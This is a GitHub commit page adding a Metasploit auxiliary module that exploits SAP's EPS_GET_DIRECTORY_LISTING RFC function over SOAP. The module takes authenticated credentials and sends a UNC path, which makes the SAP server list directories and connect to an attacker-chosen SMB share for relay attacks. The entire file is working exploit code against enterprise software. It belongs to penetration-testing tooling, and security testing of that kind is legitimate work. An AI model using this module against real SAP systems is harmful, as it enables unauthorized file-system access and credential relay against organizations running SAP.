Skip to content

Commit bcc2642

Browse files
committed
EPS_GET_DIRECTORY_LISTING (List Directory abd SMB Relay)
1 parent dfcce01 commit bcc2642

File tree

1 file changed

+88
-0
lines changed

1 file changed

+88
-0
lines changed
Lines changed: 88 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,88 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
##
9+
# This module is based on, inspired by, or is a port of a plugin available in
10+
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
11+
# http://www.onapsis.com/research-free-solutions.php.
12+
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
13+
# in producing the Metasploit modules and was happy to share his knowledge and
14+
# experience - a very cool guy.
15+
#
16+
# The following guys from ERP-SCAN deserve credit for their contributions -
17+
# Alexandr Polyakov, Alexey Sintsov, Alexey Tyurin, Dmitry Chastukhin and
18+
# Dmitry Evdokimov.
19+
#
20+
# I'd also like to thank Chris John Riley, Ian de Villiers and Joris van de Vis
21+
# who have Beta tested the modules and provided excellent feedback. Some people
22+
# just seem to enjoy hacking SAP :)
23+
##
24+
25+
require 'msf/core'
26+
27+
class Metasploit4 < Msf::Auxiliary
28+
include Msf::Exploit::Remote::HttpClient
29+
include Msf::Auxiliary::Report
30+
include Msf::Auxiliary::Scanner
31+
32+
def initialize
33+
super(
34+
'Name' => 'EPS_GET_DIRECTORY_LISTING (list directory + SMB Relay)',
35+
'Description' => %q{
36+
A vulnerability in the SAP EPS RFC function group allows an attacker to execute an SMB relay attack.
37+
},
38+
'References' => [['URL','http://labs.mwrinfosecurity.com']],
39+
'Author' => ['nmonkee'],
40+
'License' => MSF_LICENSE
41+
)
42+
43+
register_options([
44+
OptString.new('CLIENT', [true, 'SAP client', nil]),
45+
OptString.new('USER', [true, 'Username', nil]),
46+
OptString.new('PASS', [true, 'Password', nil]),
47+
OptString.new('PATH',[true,'File path (e.g. \\\\xx.xx.xx.xx\\share)',nil])
48+
], self.class)
49+
end
50+
51+
def run_host(ip)
52+
data = '<?xml version="1.0" encoding="utf-8" ?>'
53+
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" '
54+
data << 'xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://tempuri.org/" '
55+
data << 'xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/">'
56+
data << '<SOAP-ENV:Header/>'
57+
data << '<SOAP-ENV:Body>'
58+
data << '<EPS_GET_DIRECTORY_LISTING xmlns="urn:sap-com:document:sap:rfc:functions">'
59+
data << '<DIR_NAME>' + datastore['PATH'] + '</DIR_NAME>'
60+
data << '</EPS_GET_DIRECTORY_LISTING>'
61+
data << '</SOAP-ENV:Body>'
62+
data << '</SOAP-ENV:Envelope>'
63+
64+
user_pass = Rex::Text.encode_base64(datastore['USER'] + ":" + datastore['PASS'])
65+
begin
66+
print_status("[SAP] #{ip}:#{rport} - sending request for #{datastore['PATH']}")
67+
res = send_request_raw({
68+
'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
69+
'method' => 'POST',
70+
'data' => data,
71+
'headers' =>{
72+
'Content-Length' => data.size.to_s,
73+
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
74+
'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
75+
'Authorization' => 'Basic ' + user_pass,
76+
'Content-Type' => 'text/xml; charset=UTF-8',}
77+
}, 45)
78+
if res
79+
vprint_status("[SAP] #{rhost}:#{rport} - Error code: " + res.code.to_s)
80+
vprint_status("[SAP] #{rhost}:#{rport} - Error title: " + res.message.to_s)
81+
vprint_status("[SAP] #{rhost}:#{rport} - Error message: " + res.body.to_s)
82+
end
83+
rescue ::Rex::ConnectionError
84+
print_error("#{rhost}:#{rport} - Unable to connect")
85+
return
86+
end
87+
end
88+
end

0 commit comments

Comments
 (0)